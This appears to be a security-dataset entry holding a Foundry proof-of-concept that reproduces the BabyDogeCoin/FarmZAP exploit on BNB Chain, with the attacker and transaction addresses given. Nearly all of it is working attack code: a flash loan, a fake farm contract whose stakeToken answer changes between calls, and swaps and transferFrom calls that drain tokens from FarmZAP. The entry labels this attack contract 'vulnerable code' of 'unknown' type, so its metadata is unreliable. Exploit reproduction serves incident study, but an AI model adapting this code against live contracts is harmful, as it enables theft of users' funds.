HIGH severity: BabyDogeCoin exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~7.5M USD$ Attacker : https://bscscan.com/address/0xcbc0d0c1049eb011d7c7cfc4ff556d281f0afebb Attack Contract : https://bscscan.com/address/0x51873a0b615a51115f2cfbc2e24d9db4bfa2e6e2 Vulnerable Contract : https://bscscan.com/address/0xc74867

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~7.5M USD$
// Attacker : https://bscscan.com/address/0xcbc0d0c1049eb011d7c7cfc4ff556d281f0afebb
// Attack Contract : https://bscscan.com/address/0x51873a0b615a51115f2cfbc2e24d9db4bfa2e6e2
// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de
// Attack Tx : https://bscscan.com/tx/0x098e7394a1733320e0887f0de22b18f5c71ee18d48a0f6d30c76890fb5c85375

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de#code

// @Analysis
// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1662744426475831298

interface IFarm {
    function depositOnBehalf(uint256 amount, address account) external;
    function stakeToken() external returns (address);
}

interface IFarmZAP {
    function buyTokensAndDepositOnBehalf(
        IFarm farm,
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path
    ) external payable returns (uint256);
}

contract ContractTest is Test {
    IERC20 BABYDOGE = IERC20(0xc748673057861a797275CD8A068AbB95A902e8de);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0);
    IFarmZAP FarmZAP = IFarmZAP(0x451583B6DA479eAA04366443262848e27706f762);
    IAaveFlashloan Radiant = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
    uint256 i;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_593_354);
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(BABYDOGE), "BABYDOGE");
        cheats.label(address(Pair), "Pair");
        cheats.label(address(FarmZAP), "FarmZAP");
        cheats.label(address(Radiant), "Radiant");
    }

    function testExploit() external {
        deal(address(this), 0);
        address[] memory assets = new address[](1);
        assets[0] = address(WBNB);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 80_000 * 1e18;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(0), 0);

        emit log_named_decimal_uint(
            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
        );
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        WBNB.approve(address(Radiant), amounts[0] + premiums[0]);
        WBNB.withdraw(80_000 * 1e18);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(BABYDOGE);
        FarmZAP.buyTokensAndDepositOnBehalf{value: 80_000 ether}(IFarm(address(this)), 80_000 * 1e18, 0, path);
        BABYDOGEToWBNBInPancake();
        BABYDOGE.transferFrom(address(FarmZAP), address(BABYDOGE), BABYDOGE.balanceOf(address(FarmZAP)) - 1);
        BABYDOGE.transferFrom(address(FarmZAP), address(this), 1); // tigger sell BABYDOGECOIN and addLiquidity in pancakeSwap
        WBNBToBABYDOGEInPancake();
        WBNB.withdraw(0.001 ether);
        FarmZAP.buyTokensAndDepositOnBehalf{value: 0.001 ether}(IFarm(address(this)), 1e15, 0, path);
        BABYDOGEToWBNBInFarmZAP();
        return true;
    }

    function BABYDOGEToWBNBInPancake() internal {
        (uint256 WBNBReserve, uint256 BABYReserve,) = Pair.getReserves();
        BABYDOGE.transferFrom(address(FarmZAP), address(Pair), BABYReserve * 769 / 1000);
        uint256 amountIn = BABYDOGE.balanceOf(address(Pair)) - BABYReserve;
        uint256 amountOut = (9975 * amountIn * WBNBReserve) / (10_000 * BABYReserve + 9975 * amountIn);
        Pair.swap(amountOut, 0, address(this), new bytes(0));
    }

    function WBNBToBABYDOGEInPancake() internal {
        (uint256 WBNBReserve, uint256 BABYReserve,) = Pair.getReserves();
        WBNB.transfer(address(Pair), WBNBReserve * 767 / 1000);
        uint256 amountIn = WBNB.balanceOf(address(Pair)) - WBNBReserve;
        uint256 amountOut = (9975 * amountIn * BABYReserve) / (10_000 * WBNBReserve + 9975 * amountIn);
        Pair.swap(0, amountOut, address(FarmZAP), new bytes(0));
    }

    function BABYDOGEToWBNBInFarmZAP() internal {
        BABYDOGE.transferFrom(address(FarmZAP), address(this), BABYDOGE.balanceOf(address(FarmZAP)));
        BABYDOGE.approve(address(FarmZAP), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(BABYDOGE);
        path[1] = address(WBNB);
        FarmZAP.buyTokensAndDepositOnBehalf(IFarm(address(this)), BABYDOGE.balanceOf(address(this)), 0, path);
        WBNB.transferFrom(address(FarmZAP), address(this), WBNB.balanceOf(address(FarmZAP)));
    }

    receive() external payable {}

    function depositOnBehalf(uint256 amount, address account) external {}

    function stakeToken() external returns (address) {
        i++;
        if (i != 3) {
            return address(BABYDOGE);
        } else {
            return address(WBNB);
        }
    }
}


Vulnerability type: unknown